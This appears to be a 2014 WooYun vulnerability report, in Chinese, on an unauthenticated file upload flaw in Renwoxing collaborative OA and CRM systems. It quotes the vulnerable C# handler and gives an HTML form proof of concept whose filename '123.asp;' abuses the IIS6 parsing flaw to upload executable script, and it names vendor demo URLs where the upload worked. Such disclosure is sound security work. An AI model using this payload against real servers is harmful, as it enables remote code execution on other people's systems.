当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080481

漏洞标题:某协同OA、协同CRM存在文件上传漏洞

相关厂商:成都任我行信息技术有限公司

漏洞作者: wefgod

提交时间:2014-10-23 16:11

修复时间:2015-04-02 11:02

公开时间:2015-04-02 11:02

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-23: 细节已通知厂商并且等待厂商处理中
2014-10-28: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-12-22: 细节向核心白帽子及相关领域专家公开
2015-01-01: 细节向普通白帽子公开
2015-01-11: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

路过一下。需要结合IIS6解析漏洞使用,无需登录

详细说明:

官网:
http://www.wecrm.com/
成都任我行信息技术有限公司
存在问题的系统是:
任我行协同CRM、任我行协同OA、任我行协同CRM 精华版
客户案例:
http://www.wecrm.com/static/consumer/

漏洞证明:

漏洞文件:
Handlers/OfficeFileDataWrite.ashx

if (context.Request["fileName"] != null)
{
text = context.Request["fileName"].ToString(); //可控,文件名
}
……………………
try
{
HttpPostedFile httpPostedFile2 = context.Request.Files["EDITFILE"];
if (httpPostedFile2 != null)
{
int contentLength2 = httpPostedFile2.ContentLength;
byte[] array2 = new byte[contentLength2];
Stream inputStream2 = httpPostedFile2.InputStream;
inputStream2.Read(array2, 0, contentLength2);
if (new TypeTemplateExtendManager(currentUserInfo).SetWordStream((CrmBizObjectType)Convert.ToInt32(value2), id, array2, text, serPath, currTypeId))
{
DocxHtmlToPage docxHtmlToPage = new DocxHtmlToPage(text, null);
docxHtmlToPage.SetServerDocxToHtmlPath();
httpPostedFile2.SaveAs(this._htmlPath + text + ".docx"); //text变量可控,可配合解析漏洞使用
context.Response.Write(docxHtmlToPage.DocxConvertToHtml(true) ? "1" : "-100");
}
else
{
context.Response.Write("-1");
}
}
return;
}


<html>
<form action="http://localhost:8888/Handlers/OfficeFileDataWrite.ashx?runType=2&objId=12&objType=1&filePathAndName=1&currTypeId=1" name="test" method="post" enctype="multipart/form-data">
<input type="file" name="EDITFILE" size="23" />
<input type="hidden" name="fileName" value="123.asp;" />
<input type="submit" value="Submit" />
</form>
</html>


上传成功后保存在UploadFolder\Html目录下,因为文件名后会强制添加.docx,所以只能配合解析漏洞使用。以下是本地测试的截图(网上的破解版):

image001.png


官方演示地址
http://show.wecrm.com/oa/Handlers/OfficeFileDataWrite.ashx
http://show.wecrm.com/xt/Handlers/OfficeFileDataWrite.ashx
http://show.wecrm.com/jhb/Handlers/OfficeFileDataWrite.ashx
同样可以上传成功
http://show.wecrm.com/oa/UploadFolder/Html/123.asp;.docx

image002.png


但是因为官网所使用的是iis7,不存在解析漏洞,故无法利用。

修复方案:

随机化某个参数即可

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 11:02

厂商回复:

最新状态:

暂无